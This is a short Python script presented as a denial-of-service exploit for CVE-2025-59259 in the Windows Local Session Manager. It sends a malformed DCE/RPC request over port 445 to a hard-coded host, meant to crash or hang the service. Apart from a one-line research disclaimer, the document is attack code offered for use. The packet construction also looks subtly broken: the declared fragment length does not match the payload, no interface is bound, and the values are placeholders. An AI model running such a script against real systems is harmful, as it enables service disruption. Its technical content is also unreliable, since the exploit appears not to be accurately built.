The following code is for security research and authorized testing only.
python
# CVE-2025-59259 - Windows LSM Denial of Service PoC
# This is a conceptual PoC demonstrating the attack pattern.
# The vulnerability exists in Windows Local Session Manager (LSM)
# due to improper validation of specified type of input.
import socket
import struct
import sys
# Target Windows host running vulnerable LSM service
TARGET_HOST = "192.168.1.100"
TARGET_PORT = 445 # SMB/RPC port commonly used by LSM
def craft_malicious_lsm_request():
"""
Craft a malformed RPC request targeting the Local Session Manager.
The request contains invalid type data that triggers improper
input validation in the vulnerable LSM component.
"""
# DCE/RPC bind request header
rpc_bind = bytearray([
0x05, 0x00, 0x0b, 0x03, # RPC version 5.0, minor 3
0x10, 0x00, 0x00, 0x00, # Packet type: BIND
0x48, 0x00, # Fragment length
0x00, 0x00, # Auth length
0x01, 0x00, 0x00, 0x00, # Call ID
])
# Malformed session management payload with invalid type field
# The key exploit point: sending an unexpected/oversized type value
# that LSM fails to properly validate
malformed_payload = bytearray(4096)
malformed_payload[0:4] = struct.pack('<I', 0xDEADBEEF) # Invalid type identifier
malformed_payload[4:8] = struct.pack('<I', 0xFFFFFFFF) # Oversized length field
malformed_payload[8:] = b'\x00' * (len(malformed_payload) - 8)
return bytes(rpc_bind) + bytes(malformed_payload)
def exploit():
print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}")
print("[*] CVE-2025-59259 - Windows LSM DoS Exploit")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((TARGET_HOST, TARGET_PORT))
payload = craft_malicious_lsm_request()
sock.send(payload)
print("[+] Malformed request sent successfully")
print("[+] If target is vulnerable, LSM service may crash or hang")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()